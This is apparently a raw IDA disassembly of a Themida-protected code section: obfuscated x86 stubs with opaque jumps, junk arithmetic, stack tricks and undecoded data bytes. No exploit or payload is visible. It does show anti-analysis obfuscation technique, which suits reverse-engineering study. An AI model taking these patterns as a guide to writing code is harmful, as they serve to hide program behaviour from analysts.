loc_55202F:				; CODE XREF: Themida_:00554461j
		add	eax, 1A230536h
		push	ebx
		push	eax
		mov	eax, 7FF10AD5h
		add	eax, 800EF52Bh
		mov	ebx, eax
		jmp	loc_550EEA
; ---------------------------------------------------------------------------


loc_552047:				; CODE XREF: Themida_:0054FE95j
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_550E8A
; ---------------------------------------------------------------------------


loc_552052:				; CODE XREF: Themida_:0055B541j
		or	ah, 99h
		neg	ah
		add	ah, 75h
		xor	bl, ah
		pop	eax
		sub	al, bl
		jmp	loc_557ED1
; ---------------------------------------------------------------------------
		dd 454DC281h, 0EA81454Fh, 1DAA744Ch, 0E95AD589h, 0FFFFFEE1h
; ---------------------------------------------------------------------------


loc_552078:				; CODE XREF: Themida_:0055171Fj
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_551C1F
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 8B542404h, 0C4812404h, 4,	6569BB53h, 0DBF707EEh
		dd 9A93EB81h, 30E9F811h
		db 78h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5520AF:				; CODE XREF: Themida_:00559EC5j
		mov	ecx, 70380654h
		xor	ebx, ecx
		pop	ecx
		xor	ebx, 56B2A43h
		push	esi
		mov	esi, 2DB4024Fh
		or	ebx, esi
		pop	esi
		push	esi
		mov	esi, 3E830425h
		jmp	loc_558B82
; ---------------------------------------------------------------------------
		db 59h,	4, 17h
		dd 172CD828h, 2833B353h, 0EC835BD8h, 240C8904h,	5248B652h
		dd 114FE9h
		db 0
; ---------------------------------------------------------------------------


loc_5520ED:				; CODE XREF: Themida_:005567DEj
		and	ecx, 1FE91C5Eh
		sub	ecx, 2B660369h
		jmp	loc_556775
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 2F26007Bh, 527C781h,	0FB891278h, 81243C8Bh, 4C4h, 5BD80100h
		dd 83243C8Bh, 2F0504C4h, 31005B8Dh, 0B60F66C3h,	4849E900h
		dd 0FF520000h, 5A042474h, 5C24048Fh, 8B4DE9h, 240C8B00h
		dd 5704C483h, 0FFDF3CE9h, 0EDE95AFFh, 0F7000069h, 81F587D6h
		dd 9B0485C5h, 4ACD8128h, 5273860Bh, 1E40E9h
		db 0
; ---------------------------------------------------------------------------


loc_552165:				; CODE XREF: Themida_:0055B98Cj
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_550834
; ---------------------------------------------------------------------------
		dw 8957h
		dd 4C781E7h, 83000000h,	3C8704C7h, 54535C24h, 31E9565Bh
		dd 58FFFFFEh, 529CE9h, 15E95A00h
		db 80h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55219B:				; CODE XREF: Themida_:00559AE8j
		add	ebp, 0DDC2BF08h
		add	ecx, ebp
		pop	ebp
		xchg	ecx, [esp]
		pop	esp
		sub	ebp, 2
		xor	ebp, [esp]
		jmp	loc_555DB4
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 59241489h, 89DCE9h, 241C8B00h, 8104C483h,	0F04F4BF3h
		dd 2C8B5F4Bh, 4C48324h,	1077E9h, 0FDE95800h, 80FFFFE4h
		dd 0F480BCECh, 58E68898h, 9534E9h, 0EBC58000h, 88E88850h
		dd 2434FFC2h, 4C48358h,	83240C8Bh, 7CB504C4h, 148BD500h
		dd 4C48124h, 0
aSsir		db 'IR',0
		align 2
		db 'X',0
		dd 0EBD9E9CBh, 0EEBBFFFFh, 0E92C9412h, 983Bh, 0C381E389h
		dd 4, 4C381h, 1C870000h, 6BC4E924h, 875E0000h, 0E95C2414h
		dd 0FFFFD69Ch, 0FFD697E9h, 92E981FFh, 134A452h,	92C181E9h
		dd 8B34A452h, 0C481242Ch, 4, 8702C183h,	248B240Ch, 0E9F76624h
		dd 4335E9h, 80C4FE00h, 0E300C5C4h, 96D8E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552286:				; CODE XREF: Themida_:0055698Dj
		push	dword ptr [esp]
		pop	ebx
		push	ecx
		jmp	loc_55BFE2
; ---------------------------------------------------------------------------
		dd 55DEE89h, 3F9A3A2Eh,	894A2105h, 2DF02941h, 41894A21h
		dd 9A3A2E2Dh, 4335E3Fh,	24043124h, 5C240433h, 115F68h
		dd 5321E900h, 0E9590000h, 2075h, 5F2414F7h, 0F781DFF7h
		dd 0FFA6BAC2h, 0E9FA29h, 1000037h, 6F685DEEh, 8900002Ah
		dd 2B82404h, 81000000h,	331121EEh, 85B0E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5522F2:				; CODE XREF: Themida_:0055177Bj
		mov	ecx, 1B27FEB9h
		sub	edx, ecx
		mov	ecx, [esp]
		jmp	loc_5553F2
; ---------------------------------------------------------------------------
		db 29h,	0F3h, 0E9h
		dd 5987h
; ---------------------------------------------------------------------------


loc_552308:				; CODE XREF: Themida_:00554E14j
		pop	edi
		push	76CBh
		mov	[esp], ebx
		jmp	loc_559A5E
; ---------------------------------------------------------------------------
		dw 0C283h
		dd 6CE95202h, 8F000028h, 665C2404h, 2404B30Fh, 4E75E99Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55232E:				; CODE XREF: Themida_:00553386j
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		dd offset dword_445750+0A499h
		align 2


loc_552336:				; CODE XREF: Themida_:0055806Dj
		mov	cl, 0B5h
		mov	dl, cl
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		sub	dl, 3Dh
		jmp	loc_54FA3B
; ---------------------------------------------------------------------------
		dd 31243433h, 34332434h, 2502E924h, 1C890000h, 26824h
		dd 15B0000h, 241C8BDFh,	4C481h,	5E90000h
		db 78h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552373:				; CODE XREF: Themida_:005558A3j
		add	ebp, 4
		jmp	loc_559E01
; ---------------------------------------------------------------------------
		dw 2B8h
		dd 0E9000000h, 0FFFFE84Ah, 0B5240C89h, 0E9A0042Fh, 93ECh
		dd 0CA30D0B1h, 2373E9h,	243C8900h, 5F2414F7h, 44EE953h
		dd 685C0000h, 1732h, 0B2241489h, 0D0B05023h, 0C8FEC0FEh
		dd 5217E9h, 0BC710500h,	42E91FC9h, 8300006Bh, 0D2E904C0h
		dd 5CFFFFEDh, 24048966h, 0FFD50BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5523DD:				; CODE XREF: Themida_:00557BD6j
		mov	[esp], ebx
		mov	ebx, 251D0010h
		shl	ebx, 7
		dec	ebx
		xor	ebx, 717FF800h
		sub	[edi+24h], ebx
		mov	ebx, [esp]
		jmp	loc_557F48
; ---------------------------------------------------------------------------
		dw 0D6F7h
		dd 48F0CE81h, 0EED15AC1h, 0BF6814Eh, 15CAB8Fh, 646EE9F3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552412:				; CODE XREF: Themida_:0055513Aj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_559946
; ---------------------------------------------------------------------------
		db 0B9h, 59h, 0E3h
		dd 0CB01D2F8h, 5BDE2959h, 8B243487h, 8F542424h,	4812404h
		dd 424h, 0D4A2E900h, 0E4B1FFFFh, 8007E9C0h, 0E9C005E1h
		dd 4E1C005h, 809CF180h,	322CDAC1h, 3204C800h, 0FFE30FE9h
		dd 240401FFh, 6452BE56h, 74291B08h, 685E0424h, 29E8h, 0E9240489h
		dd 213h, 20396859h, 1C890000h, 0F1B85024h, 2564A750h, 19C7448Fh
		dd 0E904E0C1h, 0FFFFDE6Eh, 3BC46853h, 24890000h, 24048324h
		dd 0BD555B04h, 4, 815DEB01h, 4ECh, 24348900h, 4BEh, 8BF30100h
		dd 0C4812434h, 4, 2474FF53h, 48F5B04h, 24248B24h, 4C481h
		dd 65E90000h
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5524E3:				; CODE XREF: Themida_:00553AA7j
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_54FA2B
; ---------------------------------------------------------------------------
		dd 81E38953h, 4C3h, 2BE5600h, 0E9000000h, 0FFFFFE01h
; ---------------------------------------------------------------------------


loc_552500:				; CODE XREF: Themida_:0055A203j
		add	ebx, edx
		push	edi
		pop	dword ptr [ebx]
		jmp	loc_55BC4D
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 3406E924h, 14890000h, 68E28924h, 581Bh, 56243C89h, 0D432AFBEh
		dd 7445E976h, 81660000h, 662666C3h, 1CCDC381h, 0FFE51DE9h
		dd 0EA8158FFh, 7C791EABh, 0A9E9F201h, 5F00006Eh, 5C243487h
		dd 9C242CD3h, 0FFD393E9h, 799A68FFh, 0AE90000h,	66000041h
		dd 5224148Bh, 0C281E289h, 4, 4EA81h, 14870000h,	97E95C24h
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55257B:				; CODE XREF: Themida_:0055B5C9j
		pop	esp
		mov	[esp], edi
		push	ecx
		mov	ecx, 407D1813h
		neg	ecx
		jmp	loc_550C69
; ---------------------------------------------------------------------------
		dd 34FF5950h, 1783E924h, 0F6810000h, 6FED046Fh,	5605EEC1h
		dd 5E2414F7h, 5734F681h, 0F701E3A0h, 69C7815Eh,	8B477B25h
		dd 0C4832414h, 243C3304h, 33243C31h, 248B243Ch,	0B60F6624h
		dd 0E18951C8h, 5D67E9h,	802D5900h, 13B7F3Ah, 3A8005D8h
		dd 0E053B7Fh, 0E9535452h, 0FFFFDDA1h, 895EF329h, 0D5315BDAh
		dd 2EDC15Ah, 24B9F581h,	0E8312633h, 4EC835Dh, 0E9241489h
		dd 1187h, 15FF889h, 295CE9C1h, 0C6810000h, 6B3C2FE2h, 508BE9h
		dd 24148900h, 0BD685550h, 5D182C04h, 0E95DE889h, 11Bh
		dd 81241C89h, 4ECh, 24348900h, 92A4E9h
		db 0
; ---------------------------------------------------------------------------


loc_552641:				; CODE XREF: Themida_:00558391j
		push	755Dh
		jmp	loc_55B966
; ---------------------------------------------------------------------------


loc_55264B:				; CODE XREF: Themida_:005564CAj
		add	ebp, 4
		jmp	loc_5557B3
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 8957240Ch, 2694E9E7h, 0C4830000h, 49A66804h,	14890000h
		dd 4BA24h, 52550000h, 0E068A3BAh, 2045E934h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55267E:				; CODE XREF: Themida_:00558BC6j
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_55BCFC
; ---------------------------------------------------------------------------


loc_552688:				; CODE XREF: Themida_:00559957j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_55A7CC
; ---------------------------------------------------------------------------
		db 55h
		dd 8D3C62BDh, 0DEF3E925h, 0C15DFFFFh, 0BB5308E8h, 1C021D2Dh
		dd 355BD831h, 3F2E08E2h, 0E958C531h, 365Dh
; ---------------------------------------------------------------------------


loc_5526B8:				; CODE XREF: Themida_:0055194Ej
		sub	ebp, 79B20C5Ah
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		push	2685h
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		sub	esp, 4
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		or	eax, eax
		jz	loc_552D06
		sub	esp, 4
		jmp	loc_554864
; ---------------------------------------------------------------------------
		dd 4C681h, 75E90000h, 56000037h, 9AE9DE89h, 0BB00004Bh
		dd 39BF0580h, 6521C381h, 0C3816A1Bh, 291B647Eh,	5B45EB81h
		dd 0CEE9A502h, 5C00007Eh, 49242C81h, 816AC029h,	1827242Ch
		dd 4010470h, 24048124h,	4701827h, 0FFF881E9h, 0AFE95EFFh
		dd 0C1FFFFFCh, 732D04E0h, 0E95DBF43h, 9339h, 0BF5756ADh
		dd 2E322777h, 329BC781h, 0FE89FE66h, 36F4055Fh,	0F001179Bh
		dd 9B36F42Dh, 24348B17h, 4C481h, 0D8290000h, 4F0EE952h
		dd 6C810000h, 10AD0424h, 0BE567323h, 787A65FCh,	94C6E9h
		dd 0E2895200h, 536DE9h
		db 0
; ---------------------------------------------------------------------------


loc_5527A1:				; CODE XREF: Themida_:00554F51j
		sub	ebx, 49A80149h
		jmp	loc_55102F
; ---------------------------------------------------------------------------


loc_5527AC:				; CODE XREF: Themida_:00557D09j
		pop	ecx
		push	edx
		jmp	loc_55022B
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0E904EC83h, 1B0Fh, 2CEBEF81h, 1AE93A91h, 0FFFFFFEDh
		db 34h,	24h, 5Fh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55589D
; ---------------------------------------------------------------------------
aFsuz		db 'Fz',0
		dd 4C48300h, 5C24048Fh,	0FF2434FFh, 89E92434h, 9000061h
		dd 0D6F75FFEh, 0E904EEC1h, 5865h, 1BBh,	4105E900h, 89660000h
		dd 0F66240Ch, 5166C8B6h, 0D0D6E99Ch, 468FFFFh, 89000022h
		dd 0BE56243Ch, 694F04AEh, 0FB54BF57h, 0FE0196B0h, 2C2CE95Fh
		dd 0D2F70000h, 0E901C283h, 7851h
; ---------------------------------------------------------------------------


loc_552838:				; CODE XREF: Themida_:00550B83j
		add	dl, 71h
		mov	bl, dl
		pop	edx
		add	ch, bl
		pop	ebx
		push	edx
		mov	dl, 6Dh
		sub	ch, dl
		pop	edx
		jmp	loc_55169F
; ---------------------------------------------------------------------------
aASritiSS	db '[R`',0
		align 2


loc_55285A:				; CODE XREF: Themida_:0055792Cj
		shr	edx, 1
		jmp	loc_553DDE
; ---------------------------------------------------------------------------


loc_552861:				; CODE XREF: Themida_:005566ECj
		mov	esp, [esp]
		xor	[esp], ax
		pushf
		jmp	loc_54F8E8
; ---------------------------------------------------------------------------
aSPC		db '',8,'Pc',0
		db 0C1h, 0E9h, 9Fh
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55287B:				; CODE XREF: Themida_:0055003Dj
		push	edx
		push	10114F56h
		pop	edx
		push	edx
		add	dword ptr [esp], 0FFFFFFFFh
		pop	edx
		jmp	loc_557183
; ---------------------------------------------------------------------------
		dd 0E95BDA01h, 5CB9h, 0B328FDB8h, 464E356Eh, 4C353980h
		dd 8938A944h, 0DE7DE9C7h, 0E95AFFFFh, 0FFFFF7B0h, 8124048Fh
		dd 42404h, 565F0000h, 4BEh, 9522E900h, 47680000h, 89000005h
		dd 74FF241Ch, 8F5B0424h, 0FF5C2404h, 0D006E930h, 0DD01FFFFh
		dd 5672E9h, 45D86800h, 2C890000h, 7B38BD24h, 0A8E959B1h
		dd 31FFFFEFh, 0E1C15AD1h, 58D3E902h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552906:				; CODE XREF: Themida_:00554657j
		add	ebp, 4
		jmp	loc_5536E0
; ---------------------------------------------------------------------------


loc_552911:				; CODE XREF: Themida_:0055189Ej
		add	ebx, 464522A3h
		sub	ebx, eax
		push	ecx
		mov	ecx, 50C20DAFh
		push	ebx
		jmp	loc_55B705
; ---------------------------------------------------------------------------
		db 87h,	3Ch, 24h
		dd 9CC8845Ch, 0FFCFB7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_552931:				; CODE XREF: Themida_:00556393j
		mov	esi, 4
		sub	ecx, 3F3A3935h
		add	ecx, esi
		add	ecx, 3F3A3935h
		mov	esi, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_54F8E8
; ---------------------------------------------------------------------------


loc_552955:				; CODE XREF: Themida_:0055854Cj
		push	edi
		mov	edi, 39DD4D98h
		add	[esp+8], edi
		pop	edi
		sub	[esp+4], ecx
		push	edx
		mov	edx, 39DD4D98h
		jmp	loc_557AC4
; ---------------------------------------------------------------------------
		db 89h
		dd 7D68240Ch, 89000068h, 0C2BD242Ch, 5304382Ch,	8794E9h
		dd 0C7E95D00h
		db 39h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55298B:				; CODE XREF: Themida_:00555E12j
		push	dword ptr [edi+eax*4]
		jmp	loc_55A71A
; ---------------------------------------------------------------------------
		db 81h
		dd 822598C7h, 3C875968h, 24248B24h, 0E9243C89h,	11Eh, 8BE9CB89h
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5529AF:				; CODE XREF: Themida_:00550EC5j
		sub	eax, esi
		mov	esi, [esp]
		add	esp, 4
		push	67E7h
		mov	[esp], ecx
		jmp	loc_550621
; ---------------------------------------------------------------------------
		db 5Dh
		dd 4C5E8A2Dh, 0E9F02901h, 1CE2h, 2792E955h, 34FF0000h
		dd 24048B24h, 4C481h, 6D680000h, 0E9000016h, 0FFFFD815h
		dd 24048B66h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		mov	edi, 39E83163h
		mov	ecx, 0CE56D136h
		add	ecx, 4EA23898h
		add	ecx, edi
		sub	ecx, 4EA23898h
		pop	edi
		shr	ecx, 3
		jmp	loc_556003
; ---------------------------------------------------------------------------
aMhw		db 'hw',7,0
		align 10h
		dd 0E9240C89h, 26DBh
; ---------------------------------------------------------------------------


loc_552A28:				; CODE XREF: Themida_:0055B72Fj
		mov	edi, 2D4626EBh
		jmp	loc_55802C
; ---------------------------------------------------------------------------


loc_552A32:				; CODE XREF: Themida_:00559523j
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		push	ebp
		jmp	loc_558252
; ---------------------------------------------------------------------------
		db 0BDh
		dd 34B83E6Fh, 529E9h, 0E932FF00h, 0FFFFCE98h, 592434FFh
		dd 4C481h, 98680000h, 89000021h, 0C5E9241Ch, 81FFFFF7h
		dd 4C1h, 0BB7E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552A72:				; CODE XREF: Themida_:00559E54j
		not	ebp
		push	esi
		mov	esi, 582D6973h
		jmp	loc_55AED9
; ---------------------------------------------------------------------------
		db 5Ah
		dd 406BEB81h, 0EB8112CDh, 652A05A3h, 0C381C301h, 652A05A3h
		dd 530668h, 24048900h, 0FFFE48E9h, 4EC81FFh, 89000000h
		dd 0E0892404h, 76B85056h, 576CA112h, 2104E9h, 0D7E95300h
		dd 2CFFFFD5h, 0EAE2E955h, 0E789FFFFh, 4C781h, 0CCE90000h
		dd 48000060h, 3B110235h, 0C6895674h, 585EF289h,	34FFD029h
		dd 0DEE95A24h, 5E000000h, 4C181h, 0C870000h, 0FE685C24h
		dd 8B5B8545h, 0C483241Ch, 0E9CB3104h, 8B9Eh
; ---------------------------------------------------------------------------


loc_552B08:				; CODE XREF: Themida_:00555C35j
		pop	esi
		sub	ebx, edx
		pop	edx
		jmp	loc_552CDA
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0C4E9D800h, 3300002Eh, 4312404h, 24043324h, 2414895Ch
		dd 0E953E289h, 2DF0h, 9AE9C731h, 5FFFFEEh, 385A5ADEh, 0DE2DC829h
		dd 5385A5Ah, 4F071B5Fh,	0E92434FFh, 0FFFFFF00h,	240C8B66h
		dd 83E68956h, 148904ECh, 1277BA24h, 0E947BFh, 29000001h
		dd 148758C2h, 0F7685C24h, 8900005Fh, 4812424h, 424h, 24048F00h
		dd 4240481h, 8B000000h,	0C481243Ch, 4, 4C781h, 78E90000h
		db 0D2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552B9B:				; CODE XREF: Themida_:00554ED7j
		add	ecx, eax
		jmp	loc_553A9C
; ---------------------------------------------------------------------------
		dw 0D629h
		dd 18D7EE81h, 0F2894BEAh, 0E924348Bh, 6871h, 5250D1F6h
		dd 0F48876B6h, 80D4F65Ah, 0E13069C4h, 1B88E9h, 4C48100h
		dd 57000000h, 0CA3C3D68h, 0BD555F14h, 3C192472h, 7D7ABE56h
		dd 0ED8146F6h, 198272DEh, 0C581F529h, 198272DEh, 34F5815Eh
		dd 31EBA9BEh, 0F8315DEFh, 0E92434FFh, 5133h, 0E9243C89h
		dd 1F11h
; ---------------------------------------------------------------------------


loc_552C0C:				; CODE XREF: Themida_:00556E22j
		xchg	ebx, [esp]
		pop	esp
		add	esp, 4
		push	esi
		mov	esi, 9187A4C9h
		add	edi, esi
		jmp	loc_555133
; ---------------------------------------------------------------------------
		db 66h
		dd 8124048Bh, 4ECh, 24148900h, 1BF268h,	48F5400h, 4BA5224h
		dd 81000000h, 0F604246Ch, 1091465h, 81042454h, 0F6042444h
		dd 8B091465h, 89562414h, 4C681E6h, 83000000h, 71E904C6h
		dd 68FFFFE5h, 0
		dd 5A241429h, 0FFD98FE9h, 4EE81FFh, 5840B666h, 8B243487h
		dd 89662424h, 50662414h, 8457E99Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552C8E:				; CODE XREF: Themida_:00552013j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		xor	eax, 11AE6BACh
		push	71A6h
		mov	[esp], ecx
		push	edi
		mov	edi, 3B4D2623h
		push	esi
		push	7BD4DE7h
		jmp	loc_555393
; ---------------------------------------------------------------------------
		db 81h
		dd 86EBBE9h, 241C8B0Ch,	4C481h,	42E90000h
		db 7Ch,	2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55AAD1
; ---------------------------------------------------------------------------


loc_552CCF:				; CODE XREF: Themida_:005531F0j
		mov	edi, 404F525Bh
		push	edx
		jmp	loc_55616F
; ---------------------------------------------------------------------------


loc_552CDA:				; CODE XREF: Themida_:00552B0Cj
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		push	0FFFFFFFFh
		mov	ecx, [esp]
		push	edx
		push	esp
		pop	edx
		push	edi
		mov	edi, 54127C67h
		xor	edi, 54127C63h
		add	edx, edi
		pop	edi
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	[edi+24h], ecx
		pop	ecx


loc_552D06:				; CODE XREF: Themida_:005526E7j
		push	ebx
		push	edi
		mov	edi, 377A6096h
		or	edi, 639A0B3Dh
		jmp	loc_55A605
; ---------------------------------------------------------------------------
		dd 33243C31h, 665C243Ch, 0B6E9F9F7h
		db 65h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552D27:				; CODE XREF: Themida_:0055336Bj
		pop	ebp
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_550E6F
; ---------------------------------------------------------------------------


loc_552D36:				; CODE XREF: Themida_:005506BFj
		mov	edx, 38ABE04Ah
		xor	ebx, edx
		pop	edx
		add	ebp, ebx
		jmp	loc_558BB9
; ---------------------------------------------------------------------------
		db 51h,	0B1h, 51h
		dd 0E5C7E952h, 0EF81FFFFh, 545B76E8h, 12E94Fh, 0BE560000h
		dd 7D1A1956h, 2414F756h, 0E9DEF75Eh, 8E31h, 4FA1BE56h
		dd 81464B77h, 2D6A9CE6h, 224AE912h, 89660000h, 61E9240Ch
		db 0CBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552D87:				; CODE XREF: Themida_:00554194j
		push	eax
		mov	ah, 4Dh
		sub	bl, ah
		mov	eax, [esp]
		add	esp, 4
		add	bl, al
		push	78C3h
		jmp	loc_558290
; ---------------------------------------------------------------------------
		dw 4BAh
		dd 81000000h, 1B1CDCEBh, 6AC38100h, 16D5A10h, 1150E9D3h
		dd 2DE90000h, 1FFFFCBh,	0D70158C7h, 6112E9h
		db 0
; ---------------------------------------------------------------------------


loc_552DC5:				; CODE XREF: Themida_:00554A20j
		mov	[esp], ebp
		push	65A4h
		mov	[esp], ebx
		push	25EC72E2h
		pop	ebx
		jmp	loc_555480
; ---------------------------------------------------------------------------
		db 55h
		dd 0B5474BDh, 6CD813Ch,	0E979B369h, 3545h, 4EC81h, 0C890000h
		dd 81595424h, 4C1h, 4E98100h, 51000000h, 42474FFh, 24048F59h
		dd 9F0E95Ch, 0EC680000h, 0E9364364h, 0FFFFD0E2h, 4BB535Fh
		dd 1000000h, 6DA6E9DFh,	89530000h, 0EABFE9E3h, 0E981FFFFh
		dd 3038716Eh, 888CE9h, 0FFBF5700h, 0E915F738h, 0FFFFEDF3h
		dd 83C8B60Fh, 48904ECh,	53E08924h, 0DD4F5BBBh, 5C13E920h
		dd 54680000h, 89000004h, 17E92424h, 5FFFFFD4h, 4EA81h
		dd 14870000h, 4EE95C24h
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552E7B:				; CODE XREF: Themida_:005592A2j
		xor	edx, 41CF33DFh
		mov	eax, edx
		jmp	loc_5504C2
; ---------------------------------------------------------------------------
		dd 27E9028Fh, 53FFFFFFh, 0FF6B2EBBh, 8E3C145h, 1456B951h
		dd 0CB2934D8h, 7EBC159h, 262FEB81h, 0F8E90195h
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------


loc_552EAF:				; CODE XREF: Themida_:0055344Ej
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_54FE94
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_556A11
; ---------------------------------------------------------------------------
		dd 4EC81h, 2C890000h, 1A92BD24h, 0E8310E0Ch, 0CA02E95Dh
		dd 0F759FFFFh, 0E5C145DDh, 0E9DDF708h, 2D0Ah
; ---------------------------------------------------------------------------


loc_552EF4:				; CODE XREF: Themida_:0054FF5Cj
		pop	eax
		add	esp, 4
		jmp	loc_5548DC
; ---------------------------------------------------------------------------


loc_552EFD:				; CODE XREF: Themida_:00551ADCj
		pop	eax
		jmp	loc_554191
; ---------------------------------------------------------------------------
		db 49h
		dd 7732C181h, 0D1F7092Dh, 0CD3F181h, 0C8018EE1h, 2B95159h
		dd 1000000h, 0FF5059C8h, 58042474h, 0E924048Fh,	7403h
; ---------------------------------------------------------------------------


loc_552F2C:				; CODE XREF: Themida_:0055634Dj
		pop	esi
		neg	ebp
		or	ebp, 2F994E2Ch
		and	ebp, 327F50FDh
		jmp	loc_559AE7
; ---------------------------------------------------------------------------
		dd 0F75BDD89h, 361E9DDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552F4A:				; CODE XREF: Themida_:005584D9j
		not	ebp
		add	ebp, 75C250Fh
		sub	ebp, 7C421192h
		add	edx, ebp
		pop	ebp
		push	eax
		jmp	loc_5595A5
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd offset dword_536858+491h
		dd 0C875F00h, 79C7E924h, 0D5F70000h, 67DAED81h,	0F58167C9h
		dd 49507A4Fh, 2143E9h, 24148B00h, 1FF8E9h, 35686600h, 665F6674h
		dd 8B66F801h, 0E957243Ch, 0FFFFE6D7h, 240C8B66h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_55701B
; ---------------------------------------------------------------------------


loc_552FB8:				; CODE XREF: Themida_:0055A4B0j
		pop	edx
		xor	edi, 8F2AB5B7h
		and	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		shr	ecx, 0Bh
		push	3643h
		mov	[esp], edi
		push	370Fh
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5564BF
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 4
aShv		db '$hv',0
		align 2


loc_552FF2:				; CODE XREF: Themida_:0055894Bj
		sub	ebx, ecx
		jmp	loc_55A202
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 2BA52h, 0D3890000h, 0FFDE015Ah, 815B2434h, 4C4h, 24348700h
		dd 2620E9h
		db 0
; ---------------------------------------------------------------------------


loc_553019:				; CODE XREF: Themida_:0055AF69j
		mov	ecx, [esp]
		jmp	loc_556189
; ---------------------------------------------------------------------------
		db 51h,	0F6h, 1Ch
		dd 240C8B24h, 0E904C483h, 4551h, 4C481h, 0DEF70000h, 2657C681h
		dd 0C6814F22h, 29A0045Bh, 72DFC581h, 0E1E90A2Eh
		db 73h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55304F:				; CODE XREF: Themida_:00550B0Dj
		pop	esi
		mov	edi, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		push	esi
		mov	esi, esp
		jmp	loc_554782
; ---------------------------------------------------------------------------


loc_553069:				; CODE XREF: Themida_:0055A301j
		pop	eax
		add	ebx, 6E430471h
		push	ecx
		mov	ecx, 0B2463E2h
		shl	ecx, 3
		dec	ecx
		add	ecx, 92E2E72h
		xor	ecx, 5FFD6205h
		sub	ebx, ecx
		pop	ecx
		add	ebx, eax
		add	ebx, 3DAC2F84h
		sub	ebx, 6E430471h
		jmp	loc_558D4C
; ---------------------------------------------------------------------------


loc_55309C:				; CODE XREF: Themida_:0055661Aj
		add	esp, 4
		push	eax
		jmp	loc_55A73C
; ---------------------------------------------------------------------------
aPs_0		db 'P$',0
		dw 8B00h
		dd 0C4832414h, 25466804h, 2C890000h, 4BD24h, 0E9010000h
		dd 74FF515Dh, 0C0E90424h, 0BD000019h, 37245DE7h, 625EE9h
		dd 3F056600h, 5A2D666Fh, 69056634h, 0E957667Eh,	0FFFFFEA5h
		dd 0C581E589h, 4, 4BB53h, 0DD010000h, 0E9241C8Bh, 420Ah
		dd 5D70C4BAh, 3C736843h, 0E7E90000h
		db 60h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55310F:				; CODE XREF: Themida_:00559E13j
		mov	ebp, esp
		jmp	loc_55188E
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 0A703CBF6h, 16E9D929h
		db 0D5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553123:				; CODE XREF: Themida_:00558BDFj
		mov	eax, 1B02726Eh
		shr	eax, 1
		and	eax, 51653E81h
		and	eax, 407760CFh
		or	eax, 149B4900h
		add	eax, 2893F233h
		add	edi, eax
